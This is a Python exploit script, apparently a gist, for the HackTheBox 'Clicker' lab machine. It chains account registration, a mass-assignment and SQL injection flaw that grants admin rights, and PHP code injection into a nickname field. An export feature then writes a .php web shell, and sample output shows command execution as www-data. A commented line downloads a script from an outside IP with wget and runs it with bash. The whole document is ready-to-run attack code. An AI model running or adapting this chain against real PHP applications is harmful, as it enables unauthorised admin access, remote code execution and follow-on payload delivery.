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Exploit for HackTheBox Clicker Machine (https://app.hackthebox.com/machines/564)
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| # @author Pichaya Morimoto ([email protected]) | |
| # Exploit for HackTheBox Clicker Machine (https://app.hackthebox.com/machines/564) | |
| import requests | |
| import random | |
| import string | |
| import urllib.parse | |
| from base64 import b64encode,b64decode | |
| requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) | |
| proxies = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'} | |
| payload = 'id' | |
| # payload='/usr/bin/wget -O /tmp/x 10.10.14.34/A && bash /tmp/x' | |
| cmd = b64encode(payload.encode()) | |
| cmd=urllib.parse.quote(cmd, safe="") | |
| sqli_url=f"http://clicker.htb:80/save_game.php?role%3d'Admin',nickname%3d'<?%3dexec(base64_decode(\"{cmd}\"));?>',level=1337" | |
| rand=''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(8)) | |
| userz="pwn"+rand | |
| # Step 1: Register a new account | |
| burp0_url = "http://clicker.htb:80/create_player.php" | |
| burp0_cookies = {"PHPSESSID": "v7f7vqfbmjemjdh5jsiftnm4jo"} | |
| burp0_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate, br", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://clicker.htb", "DNT": "1", "Connection": "close", "Referer": "http://clicker.htb/register.php", "Upgrade-Insecure-Requests": "1"} | |
| burp0_data = {"username": userz, "password": userz} | |
| requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data, proxies=proxies) | |
| # Step 2: log in as a normal user | |
| burp0_url = "http://clicker.htb:80/authenticate.php" | |
| burp0_cookies = {"PHPSESSID": "v7f7vqfbmjemjdh5jsiftnm4jo"} | |
| burp0_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate, br", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://clicker.htb", "DNT": "1", "Connection": "close", "Referer": "http://clicker.htb/login.php", "Upgrade-Insecure-Requests": "1"} | |
| burp0_data = {"username": userz, "password": userz} | |
| requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data, proxies=proxies) | |
| # Step 3: eop w/ Mass Assignment + SQLi Vuln | |
| # File: save_game.php | |
| # function save_profile($player, $args) { | |
| # global $pdo; | |
| # $params = ["player"=>$player]; | |
| # $setStr = ""; | |
| # foreach ($args as $key => $value) { | |
| # $setStr .= $key . "=" . $pdo->quote($value) . ","; | |
| # } | |
| # $setStr = rtrim($setStr, ","); | |
| # $stmt = $pdo->prepare("UPDATE players SET $setStr WHERE username = :player"); | |
| # $stmt -> execute($params); | |
| # } | |
| burp0_url = "http://clicker.htb:80/save_game.php?role%3d'Admin',level=1337" | |
| burp0_cookies = {"PHPSESSID": "v7f7vqfbmjemjdh5jsiftnm4jo"} | |
| burp0_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate, br", "DNT": "1", "Connection": "close", "Referer": "http://clicker.htb/play.php", "Upgrade-Insecure-Requests": "1"} | |
| requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies, proxies=proxies) | |
| # Step 4: logout.php - logout (this is needed for refreshing session values) | |
| burp0_url = "http://clicker.htb:80/logout.php" | |
| burp0_cookies = {"PHPSESSID": "v7f7vqfbmjemjdh5jsiftnm4jo"} | |
| burp0_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate, br", "DNT": "1", "Connection": "close", "Referer": "http://clicker.htb/index.php", "Upgrade-Insecure-Requests": "1"} | |
| requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies) | |
| # Step 5: log in as an admin | |
| burp0_url = "http://clicker.htb:80/authenticate.php" | |
| burp0_cookies = {"PHPSESSID": "v7f7vqfbmjemjdh5jsiftnm4jo"} | |
| burp0_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate, br", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://clicker.htb", "DNT": "1", "Connection": "close", "Referer": "http://clicker.htb/login.php", "Upgrade-Insecure-Requests": "1"} | |
| burp0_data = {"username": userz, "password": userz} | |
| requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data, proxies=proxies) | |
| # Step 6: SQLi to inject arbitrary PHP Code into nickname field | |
| # Note: clicks, level are integer, so only nickname can store string | |
| burp0_url = sqli_url | |
| burp0_cookies = {"PHPSESSID": "v7f7vqfbmjemjdh5jsiftnm4jo"} | |
| burp0_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate, br", "DNT": "1", "Connection": "close", "Referer": "http://clicker.htb/play.php", "Upgrade-Insecure-Requests": "1"} | |
| requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies, proxies=proxies) | |
| # Step 7: Pop web shell with export function | |
| # if ($_POST["extension"] == "txt") { | |
| # [...]} else { | |
| # [...] | |
| # $s .= ' <th scope="row">' . $currentplayer["nickname"] . '</th>'; | |
| # [...] | |
| # } | |
| # $filename = "exports/top_players_" . random_string(8) . "." . $_POST["extension"]; | |
| # file_put_contents($filename, $s); | |
| burp0_url = "http://clicker.htb:80/export.php" | |
| burp0_cookies = {"PHPSESSID": "v7f7vqfbmjemjdh5jsiftnm4jo"} | |
| burp0_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate, br", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://clicker.htb", "DNT": "1", "Connection": "close", "Referer": "http://clicker.htb/admin.php?msg=Data%20has%20been%20saved%20in%20exports/top_players_8lfom2be.json", "Upgrade-Insecure-Requests": "1"} | |
| burp0_data = {"threshold": "1000000", "extension": "php"} | |
| resp = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data, allow_redirects=False, proxies=proxies) | |
| # Step 8: Grab web shell location from HTTP response header | |
| export_url=resp.headers.get('Location').split(' ')[5] | |
| print(export_url) | |
| # Step 9: Get PHP code execution result | |
| burp0_url = f"http://clicker.htb:80/{export_url}" | |
| burp0_cookies = {"PHPSESSID": "v7f7vqfbmjemjdh5jsiftnm4jo"} | |
| burp0_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate, br", "Origin": "http://clicker.htb", "DNT": "1", "Connection": "close", "Referer": "http://clicker.htb/admin.php?msg=Data%20has%20been%20saved%20in%20exports/top_players_8lfom2be.json", "Upgrade-Insecure-Requests": "1"} | |
| resp=requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies).text | |
| print(resp) | |
| # $ python exploit.py | |
| # id | |
| # exports/top_players_yy2kuwlc.php | |
| # <table><thead> <tr> <th scope="col">Nickname</th> <th scope="col">Clicks</th> <th scope="col">Level</th> </tr></thead><tbody> <tr> <th scope="row">uid=33(www-data) gid=33(www-data) groups=33(www-data)</th> <td>0</td> <td>1337</td> </tr> <tr> <th scope="row">admin</th> <td>999999999999999999</td> <td>999999999</td> </tr> <tr> <th scope="row">ButtonLover99</th> <td>10000000</td> <td>100</td> </tr> <tr> <th scope="row">Paol</th> <td>2776354</td> <td>75</td> </tr> <tr> <th scope="row">Th3Br0</th> <td>87947322</td> <td>1</td> </tr></tbody></table> |
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